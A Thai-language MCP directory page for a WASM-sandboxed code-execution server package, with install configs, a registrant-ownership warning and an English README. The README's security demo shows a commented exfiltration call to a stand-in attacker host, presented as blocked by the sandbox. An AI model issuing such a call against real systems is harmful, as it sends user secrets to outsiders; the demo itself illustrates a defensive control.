ต้นแบบ · รุ่นทดลอง: มีทุก server ในทะเบียนทางการ อัปเดตทุก 30 นาที รีวิวและบัญชีผู้ใช้จะมาในขั้นถัดไป
PopNx MCPที่รวม MCP สำหรับคนใช้ AI · อธิบายเป็นภาษาคน

Telleroutlook MCP

โดย WasmAgentรุ่น 1.1.1i★ –iรันบนเครื่อง
ชื่อใน registryio.github.telleroutlook/mcp-server

ติดตั้ง

ภาพรวม

คำอธิบายจากผู้ทำ (ภาษาอังกฤษตามต้นฉบับ)

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

สามเสาของ PopNx MCP

สามเรื่องนี้ไม่รวมเป็นคะแนนเดียว เพราะความเห็น การวัด และความนิยม เป็นคนละเรื่องกัน

ใช้ทำอะไรได้

ตัวนี้ยังไม่ได้เรียบเรียงเป็นภาษาไทย ด้านล่างคือข้อเท็จจริงที่เราอ่านจาก registry

  • การเชื่อมต่อ: รันบนเครื่อง
  • ช่องทาง (transport): stdio
  • หมวด: อื่น ๆ

ติดตั้ง

เลือกโปรแกรม AI ที่คุณใช้ แล้วคัดลอกค่าตั้งไปวาง

ก่อนติดตั้ง

ต้องเตรียมก่อน

  • npmติดตั้ง Node.js (มีคำสั่ง npx) ในเครื่อง

คุณใช้แอปไหน

เลือกแอปด้านบน เราจำไว้ให้ ครั้งหน้าปุ่มจะขึ้นว่า “ติดตั้งลง …”

เปิด Claude Desktop → Settings → Developer → Edit Config แล้ววางค่านี้ในไฟล์ claude_desktop_config.json

{
  "mcpServers": {
    "telleroutlook": {
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

พิมพ์คำสั่งนี้ใน Terminal

claude mcp add telleroutlook -- npx -y @wasmagent/mcp-server

เปิดใน Cursor

หรือคัดลอกค่าตั้งเอง

วางในไฟล์ .cursor/mcp.json ของโปรเจกต์ หรือ ~/.cursor/mcp.json

{
  "mcpServers": {
    "telleroutlook": {
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง

เปิดใน VS Code

หรือคัดลอกค่าตั้งเอง

วางในไฟล์ .vscode/mcp.json ของโปรเจกต์

{
  "servers": {
    "telleroutlook": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "@wasmagent/mcp-server"
      ]
    }
  }
}

เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง

ตัวนี้รันในเครื่องคุณ แต่ ChatGPT ต่อได้เฉพาะ server บนอินเทอร์เน็ต ลองเลือกแอปอื่น

ตัวเลือกเก็บในคุกกี้บนเครื่องนี้ ไม่ต้องมีบัญชี

ค่าตั้งนี้สร้างจากข้อมูลใน registry ของผู้ทำ ถ้าไม่ตรงกับ README ให้เชื่อ README

ทำอะไรได้บ้าง

รันในเครื่องคุณ รายการเครื่องมือจะขึ้นในแอป AI หลังติดตั้ง

ผลตรวจเบื้องต้นi

เราตรวจจากข้อมูลที่ใครก็เปิดดูได้ ยังไม่ได้อ่านโค้ด ข้อที่ไม่เกี่ยวกับตัวนี้ไม่นับในตัวหาร · ตรวจเมื่อ 6 พ.ย. 2569

  • ! ควรระวัง

    ตัวตนผู้ทำตรงกับ repo

    ผู้ลงทะเบียน (telleroutlook) ไม่ใช่เจ้าของ repo (WasmAgent) อาจเป็นคนอื่นที่นำมาลงต่อ

  • … ยังไม่ตรวจ

    ยังมีคนดูแล

    ยังไม่ได้อ่านข้อมูล repo จาก GitHub

  • … ยังไม่ตรวจ

    มีสัญญาอนุญาต (license)

    ยังไม่ได้อ่านข้อมูล repo จาก GitHub

  • – ไม่เกี่ยว

    endpoint ตอบ

    ตัวนี้รันบนเครื่องคุณ ไม่มี endpoint บนอินเทอร์เน็ต

  • – ไม่เกี่ยว

    ล็อกอินแบบ OAuth

    ตัวนี้รันบนเครื่อง ใช้ค่าที่ตั้งในเครื่องแทน

  • … ยังไม่ตรวจ

    คำอธิบายเครื่องมือไม่มีคำสั่งแอบแฝง

    รันในเครื่องคุณ เราอ่านรายการเครื่องมือได้เฉพาะตัวที่มี endpoint บนอินเทอร์เน็ต

เทียบกับตัวอื่นในหมวด อื่น ๆi

  • ดาวมากกว่า 0% ของอีก 32455 ตัวในหมวดนี้
  • ส่งรุ่นใหม่เข้า registry ล่าสุดกว่า 14% ของอีก 32455 ตัวในหมวดนี้
  • ผลตรวจเบื้องต้นดีกว่าหรือเท่ากับ 33% ของอีก 32455 ตัวในหมวดนี้

เทียบกับทุก server ที่ยังใช้งานในหมวดนี้ทั้งทะเบียน ดาวนับเฉพาะเมื่อผู้ลงทะเบียนเป็นเจ้าของ repo

คำถามที่พบบ่อย

Telleroutlook MCP ปลอดภัยไหม?

จากการตรวจเบื้องต้นของเรา ผ่าน 0 จาก 1 ข้อที่ตรวจได้ เรายังไม่ได้อ่านโค้ด ก่อนใส่กุญแจหรือ token ให้ดูว่า server ขอสิทธิ์อะไร และเลือกกุญแจที่ทำได้เท่าที่จำเป็น

ต้องใช้กุญแจหรือรหัสอะไรบ้าง?

registry ไม่ได้ระบุว่าต้องใช้กุญแจ แต่บางตัวจะขอให้ล็อกอินตอนใช้ครั้งแรก

ตัวนี้รันบนเครื่องหรือบนคลาวด์?

รันบนเครื่องของคุณ โปรแกรม AI จะเปิด server ขึ้นมาเองเมื่อใช้ ข้อมูลไม่ต้องผ่านเซิร์ฟเวอร์ของผู้ทำ (ยกเว้นตัวที่ไปเรียกบริการออนไลน์ต่อ)

ยังมีคนดูแลอยู่ไหม?

repo บน GitHub มีการแก้โค้ดล่าสุด – และส่งรุ่นล่าสุด (1.1.1) เข้า registry 4 เดือนที่ผ่านมา

ใช้กับโปรแกรมไหนได้บ้าง?

โปรแกรมที่รองรับ MCP เช่น Claude Desktop, Claude Code, Cursor และ VS Code ตัวนี้ต้องมี Node.js ในเครื่องด้วย

มีตัวไหนใช้แทนได้บ้าง?

ในหมวดเดียวกันมี Spec Driven Development, Remote Desktop Commander, SSTracker free youth training

ตัวที่ใช้แทนได้

server หมวดเดียวกันจากผู้ทำคนอื่น เรียงตามดาว

อ่านการ์ด:★ ดาว GitHubiสามเสา: รีวิว · ผลตรวจ · การใช้งานiอัปเดต = วันที่ส่งรุ่นล่าสุดเข้า registryi

Spec Driven Development

โดย formulahendry

MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.

รันบนเครื่อง★ 440MITอัปเดต 14 เดือนที่ผ่านมา
ติดตั้ง

Remote Desktop Commander

โดย desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

รันบนคลาวด์★ 211อัปเดต เมื่อวาน
ติดตั้ง

README จากผู้ทำ

เปิดอ่าน README

ส่วนนี้คัดจาก repo ของผู้ทำตามต้นฉบับ PopNx MCP ไม่ได้ตรวจหรือรับรองเนื้อหา ตัด HTML รูปภาพ และสคริปต์ออกแล้ว ลิงก์จะพาออกนอกเว็บ

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

+import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; +import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost -server.setRequestHandler(ListToolsRequestSchema, () => ({

  • tools: [...allFortyTools],

-})); +// After: host sees ONLY docs_search + execute_code; model dispatches internally +const tools = new ToolRegistry(); +// tools.register(...) — register your 40 tools here + +await runStdio(createCodeModeServer({

  • tools,
  • kernel: new QuickJSKernel(),
  • capabilities: { allowedHosts: [], cpuMs: 5_000 },
  • serverInfo: { name: "my-agent", version: "1.0.0" },

+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)
# Zero-config default — code-mode server with VmKernel and no

downstream tools. Useful for sanity / introspection only.

npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

// server.mjs

import { createCodeModeServer, runStdio } from "/mcp-server/stdio"; import { QuickJSKernel } from "/kernel-quickjs"; import { ToolRegistry } from "/core";

const tools = new ToolRegistry(); // tools.register(...) — your tools here

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], cpuMs: 5000 }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ }); const handler = createFetchHandler(server); // In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";

import { QuickJSKernel } from "@wasmagent/kernel-quickjs"; import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry(); // tools.register(...)

await runStdio(createCodeModeServer({ tools, kernel: new QuickJSKernel(), capabilities: { allowedHosts: [], // no outbound network allowedPaths: [], // no filesystem access cpuMs: 5_000, memoryLimitBytes: 64 * 1024 * 1024, }, serverInfo: { name: "my-agent", version: "1.0.0" }, }));

// Model-generated code inside execute_code that tries to exfiltrate data: // fetch("https://attacker.example/exfil?data=secret") // → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors

ถาม PopNx